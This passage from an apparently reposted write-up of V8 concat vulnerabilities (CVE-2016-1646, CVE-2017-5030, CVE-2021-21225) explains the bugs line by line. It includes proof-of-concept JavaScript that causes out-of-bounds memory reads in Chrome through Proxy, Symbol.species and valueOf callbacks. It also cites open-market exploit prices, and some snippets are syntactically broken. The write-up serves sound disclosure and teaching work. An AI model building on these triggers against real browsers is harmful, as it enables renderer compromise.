The final array returned by concat yields an array with special double values such as 1.0316188778496665e+26. These correspond to pointer values that were read out of bounds with elements->get(j) and stored in the result array with visitor->visit. A pointer is a number that says where something lives in memory; seeing pointer values appear as if they were ordinary numbers is the visible sign that memory outside the list was read.

The fix

The fix uses the abstraction HasOnlySimpleElements, a function that checks whether there are any getters/setters on an object or its prototype chain, to ensure that none of the input arrays will trigger JavaScript execution when JSReceiver::GetElement is called.

JavaScript
+ if ( !HasOnlySimpleElements(isolate, *receiver)) {
+     return IterateElementsSlow(isolate, receiver, length, visitor);
+ }

  switch (array‑>GetElementsKind()) {
      case FAST_DOUBLE_ELEMENTS: {
      ...

Line by line:

  • The lines starting with + are the lines added by the fix.
  • if ( !HasOnlySimpleElements(isolate, *receiver)) { asks whether the input object has anything other than plain stored values on it or its prototype chain.
  • return IterateElementsSlow(isolate, receiver, length, visitor); if it does, the code takes the slow, safe path instead of the fast loop.
  • The rest is the old fast path, now only reached for simple objects.

Root cause: CVE-2017-5030

The crux of CVE-2016-1646 was that callbacks could execute before the memory-unsafe elements->get(j), and within those callbacks the length of the elements being indexed could be modified. The patch checked the input arrays for getters/setters, but if there was a different way to execute callbacks inside that loop, the vulnerability would exist once again. That is CVE-2017-5030.

A few months after CVE-2016-1646 was fixed, two major changes landed in V8: the Proxy object and Symbol.species. Together they introduced a new way to trigger callbacks inside the loop, this time within visitor->visit, which stores values to the result object returned by concat.

Understanding Symbol.species

Symbol.species was introduced in June 2016. Put simply, it allows objects to override their default constructor. A constructor is the function that creates a new object of a given kind; overriding it means saying "when something asks what kind of object to create for me, use this instead". So builtins such as Array.prototype.concat and Uint8Array.prototype.slice derive the class of the object they are going to return by pulling the Symbol.species symbol from their input object's constructor.

JavaScript
function CustomConstructor() {
    return new Number(5);
}

class MyArray extends Array {
    static get [Symbol.species]() { return CustomConstructor; }
}

var array = (new MyArray(3)).fill(1);
console.log(array);
var return_value = array.concat(2);
console.log(return_value);

Line by line:

  • function CustomConstructor() { return new Number(5); } defines a function that, when called, returns the number 5 wrapped as an object.
  • class MyArray extends Array { defines a new kind of list that inherits everything from the normal Array.
  • static get [Symbol.species]() { return CustomConstructor; } says that whenever the engine asks this class what constructor to use for results, the answer is CustomConstructor.
  • var array = (new MyArray(3)).fill(1); creates a list of this new kind with three positions and fills them all with 1.
  • console.log(array); prints it.
  • var return_value = array.concat(2); glues the number 2 onto the list. Because of the species setting, the result is built by CustomConstructor, so it is a number object rather than a list.
  • console.log(return_value); prints that result.

What is a Proxy object?

The second addition to V8 was the Proxy object, an object that wraps other objects and intercepts calls to the objects it wraps. Think of a Proxy as a receptionist standing in front of an office: every request goes through the receptionist first, and the receptionist can answer however it likes, including with something completely different from what the office would have said.

JavaScript
const handler = {
  get: function(target, prop, receiver) {
    return "evil";
  }
};

var a = new Proxy({}, handler);
a[0] = 5;
console.log(a[0]);
console.log(a[2]);

Line by line:

  • const handler = { ... }; defines the handler, the object that decides how the Proxy behaves.
  • get: function(target, prop, receiver) { return "evil"; } says: whenever anyone reads any property, answer with the text "evil".
  • var a = new Proxy({}, handler); creates a Proxy around an empty object, using that handler.
  • a[0] = 5; writes 5 into position 0. Writing is not intercepted here, only reading.
  • console.log(a[0]); reads position 0, and the handler answers "evil" instead of 5.
  • console.log(a[2]); reads position 2, and the handler answers "evil" again.

The vulnerability

Let's scatter all of the puzzle pieces out on a table so we can eventually fit them together.

  1. Symbol.species can be used to control the object that Array.prototype.concat returns.
  2. Array.prototype.concat is still vulnerable if a callback can be triggered in the loop.
  3. The Proxy object can be used to intercept requests to an object.

Piece 1: visitor is now controlled by the user with Symbol.species

After Symbol.species landed, Array.prototype.concat reads the constructor in Array[@@species] from its first argument to construct the object it is going to return.

JavaScript
  Handle<Object> species;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, species, Object::ArraySpeciesConstructor(isolate, receiver));
  ...

  Handle<Object> length(Smi::zero(), isolate);
  Handle<Object> storage_object;

  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
     isolate, storage_object,
     Execution::New(isolate, species, species, 1, &length));
  storage = Handle<HeapObject>::cast(storage_object);

  ArrayConcatVisitor visitor(isolate, storage, fast_case);
  ...

Line by line:

  • Handle<Object> species; declares a variable to hold the constructor.
  • ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, species, Object::ArraySpeciesConstructor(isolate, receiver)); asks the first argument for its species constructor and stores the answer in species.
  • Handle<Object> length(Smi::zero(), isolate); prepares a length value of zero. A Smi is V8's name for a small integer stored directly in a value.
  • Handle<Object> storage_object; declares a variable for the object that will hold the result.
  • ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, storage_object, Execution::New(isolate, species, species, 1, &length)); executes that constructor to create the result object and stores it in storage_object.
  • storage = Handle<HeapObject>::cast(storage_object); stores it in storage.
  • ArrayConcatVisitor visitor(isolate, storage, fast_case); creates the visitor with storage as the place to write to.

So concat uses Symbol.species to pull the constructor from its first argument, executes that constructor, stores the result in the storage variable, and creates the visitor object with storage. That gives complete control over the object concat writes to with visitor->visit and returns:

JavaScript
var o = {};
class MyArray extends Array {
    static get [Symbol.species]() {
        return function() { return o; }
    };
}
var a = new MyArray();
console.log(Array.prototype.concat.call(a, [1, 2, 3]));

console.log(o);

Line by line:

  • var o = {}; creates an empty object that will be the result.
  • class MyArray extends Array { ... } defines a new kind of list.
  • static get [Symbol.species]() { return function() { return o; } } says: when the engine asks for a constructor, give it a function that always returns our object o.
  • var a = new MyArray(); creates an instance of that list.
  • console.log(Array.prototype.concat.call(a, [1, 2, 3])); glues [1, 2, 3] onto a. Because of the species setting, the result is our object o.
  • console.log(o); prints o, showing that the values were written into it.

Piece 2

Now that the visitor object is completely under our control, there is an opportunity to find instances where writing to the visitor object results in a callback running. Here is a snippet of code from visitor->visit:

JavaScript
V8_WARN_UNUSED_RESULT bool visit(uint32_t i, Handle<Object> elm) {
  uint32_t index = index_offset_ + i;
  ...

  if (!is_fixed_array()) {
    LookupIterator it(isolate_, storage, index, LookupIterator::OWN);

    MAYBE_RETURN(
      JSReceiver::CreateDataProperty(&it, elm, Just(kThrowOnError)), false);
    return true;
  }
    ...
}

Line by line:

  • V8_WARN_UNUSED_RESULT bool visit(uint32_t i, Handle<Object> elm) { declares the function that stores one element. The V8_WARN_UNUSED_RESULT part tells the compiler to warn if the caller ignores the returned true or false.
  • uint32_t index = index_offset_ + i; works out the position in the result object where the element should go.
  • if (!is_fixed_array()) { checks whether the result object is not a plain internal array, in which case the general path is needed.
  • LookupIterator it(isolate_, storage, index, LookupIterator::OWN); prepares a lookup of that position on the result object. A LookupIterator is a helper that walks through the places a property might be found.
  • MAYBE_RETURN(JSReceiver::CreateDataProperty(&it, elm, Just(kThrowOnError)), false); writes the value using the JSReceiver::CreateDataProperty abstraction.
  • return true; reports success.

Under the covers, visitor->visit is using the JSReceiver::CreateDataProperty abstraction to write values from the input arrays to the result object concat is going to return. Let's have a look at JSReceiver::CreateDataProperty's callgraph. A callgraph is a diagram of which function calls which other function.

From the original on tiszka.com

If any of these functions that JSReceiver::CreateDataProperty calls can trigger a JavaScript callback, we can exploit it in the same way that we did in CVE-2016-1646. The author cannot walk through every one of these functions in the post, but looking closer we can see that there are JSProxy paths, meaning Proxy objects are handled by CreateDataProperty.

Piece 3

Taking a closer look at the call graph we see that CreateDataProperty will eventually reach the function JSProxy::DefineOwnProperty if passed a Proxy object.

JavaScript
Maybe<bool> JSProxy::DefineOwnProperty(Isolate* isolate, Handle<JSProxy> proxy,
                                       ...) {
  ...
  // [1]
  Handle<Object> trap;
  ASSIGN_RETURN_ON_EXCEPTION_VALUE(
      isolate, trap,
      Object::GetMethod(Handle<JSReceiver>::cast(handler), "defineProperty"),
      Nothing<bool>());
  ...

Line by line:

  • Maybe<bool> JSProxy::DefineOwnProperty(...) declares a function that either returns true or false or reports that it could not decide. It handles the case where the result object is a Proxy.
  • Handle<Object> trap; declares a variable for the trap. A trap is the function a Proxy runs when one of its intercepted operations happens.
  • ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, trap, Object::GetMethod(Handle<JSReceiver>::cast(handler), "defineProperty"), Nothing<bool>()); looks up the "defineProperty" string on the Proxy's handler with Object::GetMethod and stores the answer in trap.

JSProxy::DefineOwnProperty looks up the "defineProperty" string on the Proxy's handler with Object::GetMethod. Object::GetMethod is a slow operation, like JSReceiver::GetElement, that will trigger getter/setter callbacks. Meaning that we can once again execute a callback within the IterateElements loop in concat.

Putting it all together

JavaScript
var target = {};
var handler = {};
var p = new Proxy(target, handler);

class MyArray extends Array {
    static get [Symbol.species]() {
        return function() { return p; }
    };
}

var w = var MyArray(100);
w[1] = 0.1;
w[2] = 0.1;

Line by line:

  • var target = {}; creates the object the Proxy will stand in front of.
  • var handler = {}; creates the handler that will decide the Proxy's behaviour.
  • var p = new Proxy(target, handler); creates the Proxy.
  • static get [Symbol.species]() { return function() { return p; } } says: when the engine asks for a constructor, give it a function that returns our Proxy p.
  • var w = var MyArray(100); creates a list of that kind with 100 positions. (This line is written this way in the report.)
  • w[1] = 0.1; and w[2] = 0.1; put two decimal values into it.

First, we must create an object with a custom Symbol.species that returns a Proxy object.

JavaScript
var b_dp = o.defineProperty;
function evil_callback() {

    w.length = 1;
    gc();
    return b_dp;
}

handler.__defineGetter__("defineProperty", evil_callback);

Line by line:

  • var b_dp = o.defineProperty; saves a reference to a defineProperty value from an object o.
  • function evil_callback() { ... } defines the function that will run when the engine looks up "defineProperty" on the handler.
  • w.length = 1; inside it, shrinks the input list to length 1.
  • gc(); asks the engine to run the garbage collector.
  • return b_dp; returns the saved value.
  • handler.__defineGetter__("defineProperty", evil_callback); installs evil_callback as a getter for the string "defineProperty" on the handler.

Then we must define a getter for the string "defineProperty" on its handler, which will be executed when Object::GetMethod is called deep in visitor->visit. Within that getter we shorten the length of an input array with a.length = 1 and trigger garbage collection.

JavaScript
var result = Array.prototype.concat.call(w);

for (var i = 0; i < 20; i++) {
  console.log(result[i]);
}

Line by line:

  • var result = Array.prototype.concat.call(w); triggers concat with our custom object as the first argument.
  • for (var i = 0; i < 20; i++) { console.log(result[i]); } reads the first 20 positions of the result and prints them.

Finally, we trigger concat with our custom object as the first argument. After it is done executing we can read the out-of-bounds values from the result object.

Here is all of that in one go:

JavaScript
var target = {};
var handler = {};
var p = new Proxy(target, handler);

class MyArray extends Array {
    static get [Symbol.species]() {
        return function() { return p; }
    };
}

var w = new MyArray(100);
w[1] = 0.1;
w[2] = 0.1;

var b_dp = o.defineProperty;
function evil_callback() {

    w.length = 1;
    gc();
    return b_dp;
}
handler.__defineGetter__("defineProperty", evil_callback);

var result = Array.prototype.concat.call(w);

var (var i = 0; i < 20; i++) {
  console.log(result[i]);
}

This is the same code as above, assembled into one script: create the Proxy, make it the species result, install the getter that shrinks the list and forces garbage collection, call concat, and print the first 20 values of the result.

The fix

The fix adds a second check guaranteeing that the result object (the object returned by Symbol.species) is a "Simple" type. Simply put, this check ensures that the result object is not a Proxy object, with the hope that this prevents callbacks from being executed within the IterateElements loop.

JavaScript
+   if (!visitor‑>has_simple_elements() ||
       !HasOnlySimpleElements(isolate, *receiver)) {
     return IterateElementsSlow(isolate, receiver, length, visitor);
   }
   Handle<JSObject> array = Handle<JSObject>::cast(receiver);

   switch (array‑>GetElementsKind()) {
     case PACKED_SMI_ELEMENTS:
     case PACKED_ELEMENTS:
     case PACKED_FROZEN_ELEMENTS:
     case HOLEY_ELEMENTS: {

Line by line:

  • + if (!visitor‑>has_simple_elements() || is the new check: is the result object not simple?
  • !HasOnlySimpleElements(isolate, *receiver)) { or is the input object not simple?
  • return IterateElementsSlow(isolate, receiver, length, visitor); if either is not simple, take the slow, safe path.
  • The rest is the old fast path, now only reached when both objects are simple.

Root cause: CVE-2021-21225

Now going back to the TC39 change that introduced CVE-2021-21225 and what it does.

From the original on tiszka.com

From a web developer's perspective this means that it is possible to define configurable properties to TypedArrays:

JavaScript
var u32 = new Uint32Array(64);
Object.defineProperty(u32, 1, { configurable: true });

Line by line:

  • var u32 = new Uint32Array(64); creates a TypedArray of 64 unsigned 32-bit integers.
  • Object.defineProperty(u32, 1, { configurable: true }); redefines position 1 and marks it configurable, which is now allowed.

From a V8 scripting engine perspective this means that CreateDataProperty(typedArray, 0, 5) is now possible. Before this patch, when CreateDataProperty was passed a TypedArray it would throw an exception because TypedArray elements were not configurable.

Text
VM133:1 Uncaught TypeError: Cannot redefine property: 0
    at :1:3

This is the error the engine threw before the change: Uncaught TypeError: Cannot redefine property: 0 means the engine refused to redefine position 0.

But with this new TC39 change it is possible. With this new attack surface in mind, let's look back at the attack surface diagram for JSReceiver::CreateDataProperty; we see some references to TypedArrays. Maybe we can trigger a callback in there somewhere. "Attack surface" means all the ways a program can be made to do something on behalf of an outsider; a bigger attack surface means more places to look for bugs.

From the original on tiszka.com

Seven functions deep in CreateDataProperty there is a call to the function Object::SetDataProperty.

JavaScript
Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value) {
  ...

  if (it->IsElement() && receiver->IsJSObject(isolate) &&
      JSObject::cast(*receiver).HasTypedArrayElements(isolate)) {
    ElementsKind elements_kind = JSObject::cast(*receiver).GetElementsKind();

    if (elements_kind == BIGINT64_ELEMENTS ||
        elements_kind == BIGUINT64_ELEMENTS) {

      ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
                                       BigInt::FromObject(isolate, value),
                                       Nothing<bool>());
      ...

    } else if (!value->IsNumber() && !value->IsUndefined(isolate)) {

      ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
                                       Object::ToNumber(isolate, value),
                                       Nothing<bool>());
      ...
    }
  }
  ...
}

Line by line:

  • Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value) { declares the function that actually stores a value at a position.
  • if (it->IsElement() && receiver->IsJSObject(isolate) && JSObject::cast(*receiver).HasTypedArrayElements(isolate)) { checks whether the position is a numeric index and the object being stored to is a TypedArray.
  • ElementsKind elements_kind = JSObject::cast(*receiver).GetElementsKind(); records which kind of TypedArray it is.
  • if (elements_kind == BIGINT64_ELEMENTS || elements_kind == BIGUINT64_ELEMENTS) { handles the two kinds that hold big integers. A BigInt is a JavaScript number type for integers of any size.
  • ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign, BigInt::FromObject(isolate, value), Nothing<bool>()); converts the value to a BigInt with BigInt::FromObject.
  • } else if (!value->IsNumber() && !value->IsUndefined(isolate)) { for the other kinds, checks whether the value is not already a number and not undefined.
  • ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign, Object::ToNumber(isolate, value), Nothing<bool>()); converts it to a number with Object::ToNumber.

Within Object::SetDataProperty there is logic to check if the object being stored to is a TypedArray, then if the object is a TypedArray it converts the value being stored to the object from an Object type to a numeric type (BigInt::FromObject for bigints, Object::ToNumber for regular numbers).

As it turns out, converting from an Object to a Number in JavaScript triggers a callback.

JavaScript
var object = { valueOf: function() {
    console.log("callback!")
    return 5;
}};
var sum = object + 4;

console.log(sum);

Line by line:

  • var object = { valueOf: function() { ... } }; creates an object with a valueOf method. valueOf is the function JavaScript calls when it needs to turn an object into a number.
  • console.log("callback!") inside it, prints a message, showing that the function ran.
  • return 5; gives the number 5 as the object's numeric value.
  • var sum = object + 4; adds the object and 4. JavaScript must convert the object to a number first, so it calls valueOf.
  • console.log(sum); prints the sum, 9.

Putting it all together again

JavaScript
let u32 = new Uint32Array(32);
u32.__defineSetter__('length', function() {});

class MyArray extends Array {
    static get [Symbol.species]() {
        return function() { return u32; }
    };
}

var w = new MyArray(100);

Line by line:

  • let u32 = new Uint32Array(32); creates a TypedArray of 32 unsigned 32-bit integers.
  • u32.__defineSetter__('length', function() {}); installs an empty setter for the length property, so that later attempts to change the length do nothing instead of failing.
  • static get [Symbol.species]() { return function() { return u32; } } says: when the engine asks for a constructor, give it a function that returns our TypedArray u32.
  • var w = new MyArray(100); creates a list of that kind with 100 positions.

First, we must create an object with a custom Symbol.species that returns a TypedArray object u32.

JavaScript
w[1] = {
  valueOf: function() {
    w.length = 1;
    gc();
    return 1;
  }
};
w[2] = 2;

Line by line:

  • w[1] = { valueOf: function() { ... } }; stores an object with a valueOf method at position 1 of the list.
  • w.length = 1; inside valueOf, shrinks the list to length 1.
  • gc(); forces the garbage collector to run.
  • return 1; gives the number 1 as the object's numeric value.
  • w[2] = 2; stores the number 2 at position 2.

Then we store an object with a valueOf callback to the array so it will be written to the resulting TypedArray u32 with visitor->visit, causing the valueOf callback to run during visitor->visit.

JavaScript
var c = Array.prototype.concat.call(w);

Line by line:

  • var c = Array.prototype.concat.call(w); triggers concat with w as the first argument. The result is built in u32, and writing the object at position 1 into a TypedArray forces the conversion that runs valueOf.

Then of course we trigger concat with w as the first argument.

JavaScript
let u32 = new Uint32Array(32);
u32.__defineSetter__('length', function() {});

class MyArray extends Array {
    static get [Symbol.species]() {

        return function() { return u32; }
    };
}

var w = new MyArray(100);

w[1] = {
  valueOf: function() {
    w.length = 1;
    gc();
    return 1;
  }
};

var c = Array.prototype.concat.call(w);

This is the same code assembled into one script: create the TypedArray, make it the species result, store the object with the valueOf callback, and call concat.

The Final Fix

The fix this time adds the scope level abstraction DisallowJavascriptExecution to the scope of the for loop.

From the original on tiszka.com

DisallowJavascriptExecution is a special function that will crash the V8 runtime with an assertion if JavaScript is ever executed in its scope. An assertion is a check a program makes about itself; if the check fails, the program stops immediately rather than continuing in an unknown state. Meaning that if a callback is ever triggered in the IterateElements loop again the program will crash with a benign assertion. Benign here means the crash is a deliberate safety stop, not a security problem. This bug is truly dead.

Security Engineering Lessons

Lesson: Oversimplifying the root cause will lead to more bugs

Looking back, the only reason CVE-2016-1646 ever existed was that the developer needed an abstraction that searched an object's prototype chain for a value, and the only abstraction available with that functionality was JSReceiver::GetElement. JSReceiver::GetElement hid tons and tons of complexity, like any good abstraction, but some of that hidden complexity, like calling getters/setters, had the potential to break security invariants. A security invariant is a rule the program must never break, for example "user JavaScript must never run in the middle of this loop". Identify these abstractions that hide tons of complexity and audit them for paths that can break security invariants. Then audit and harden the callers of those abstractions.

Exploitation

Exploitation is covered in Part 2 of the writeup. The bug is an out-of-bounds read in Array.prototype.concat that was used to gain code execution, and Part 2 describes four techniques the author had not seen in public exploits:

  1. How to easily disable JIT W^X at runtime.
  2. How to leak the pointer compression isolated root value.
  3. How to survive Object::ToNumber(fakeObj).
  4. How to write a GC resistant addrOf with LargeObjectSpace arrays.

Impact

The vulnerability was used to gain code execution in Google Chrome's renderer process. Because it lives in a V8 builtin, it works in pdfium, web workers and JIT-less environments. The author also notes, with explicit permission from the person who offered, that on the open markets the prices for this bug and two other bugs (crbug.com/1260109 and crbug.com/1307610) ranged anywhere from $350k to $500k each if provided with a reliable enough exploit, with most payouts being an upfront bonus of N% and quarterly payouts afterwards contingent on the bugs lasting.

Fix

The final fix adds the scope level abstraction DisallowJavascriptExecution to the scope of the for loop.

From the original on tiszka.com

DisallowJavascriptExecution crashes the V8 runtime with an assertion if JavaScript is ever executed in its scope. If a callback is ever triggered in the IterateElements loop again, the program crashes with a benign assertion. The author's conclusion is that this bug is truly dead.

Variants to test

Glossary

  • API: a named function one part of a program offers to another so it can ask for something without knowing how it is done inside.
  • Array: a JavaScript list of values.
  • ArrayBuffer: a raw block of memory that JavaScript can request.
  • Assertion: a check a program makes about itself; if it fails, the program stops immediately.
  • Attack surface: all the ways a program can be made to do something on behalf of an outsider.
  • BigInt: a JavaScript number type for integers of any size.
  • Bounty: a reward a company pays to someone who reports a security flaw responsibly.
  • Callback: a function you hand to the engine that the engine runs later, at a moment it chooses.
  • Callgraph: a diagram of which function calls which other function.
  • Code execution: running the attacker's own instructions on the target machine.
  • Commit: a single recorded change to a codebase.
  • Configurable: a property attribute saying whether a property may be redefined or deleted later.
  • Constructor: the function that creates a new object of a given kind.
  • CVE: Common Vulnerabilities and Exposures, a public catalogue number for a known security flaw.
  • Double: a number with a decimal point.
  • EFF: the Electronic Frontier Foundation, a non-profit that defends digital rights.
  • Exploit: the concrete recipe that turns a bug into an actual attack.
  • Garbage collector: the part of the engine that reclaims memory that is no longer needed.
  • Getter: a small function JavaScript runs automatically whenever someone reads a property, instead of returning a stored value.
  • Handle: V8's way of keeping track of an object so the garbage collector does not move it away while code is using it.
  • Hole: an empty position in a JavaScript array.
  • JIT: just-in-time compilation, translating JavaScript into fast machine code while the program runs.
  • JavaScript: the programming language that makes web pages interactive.
  • Memory corruption: the program ends up reading or writing memory it should not touch.
  • Out-of-bounds read: reading data past the end of a list or buffer, picking up data that belongs to something else.
  • pdfium: the component Chrome uses to display PDF documents.
  • Pointer: a number that says where something lives in memory.
  • Proof of concept: a small program that demonstrates a bug without doing any real harm.
  • Prototype: a fallback object JavaScript checks when a property is not found on the object itself.
  • Proxy: an object that wraps another object and intercepts operations on it.
  • Renderer process: the part of the browser that draws the page and runs the page's JavaScript.
  • Security invariant: a rule the program must never break.
  • Setter: a small function JavaScript runs automatically whenever someone writes a property.
  • Smi: V8's name for a small integer stored directly in a value.
  • Source to sink: the classic bug-hunting approach of following untrusted input from where it enters to where it reaches a dangerous operation.
  • State machine: a program that is always in one particular state and moves from state to state as it does its work.
  • Symbol: a special kind of unique label in JavaScript used to name behaviours.
  • TC39: the committee that maintains the JavaScript specification.
  • Trap: the function a Proxy runs when one of its intercepted operations happens.
  • TypedArray: a special JavaScript list that holds numbers of one fixed size, used when performance or raw binary data matters.
  • V8: the JavaScript engine inside Chrome.
  • Web worker: a background script a page can run without blocking the page itself.
  • Weirdness: the author's term for states of a state machine that are unusual and, in V8, almost always lead to memory corruption.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.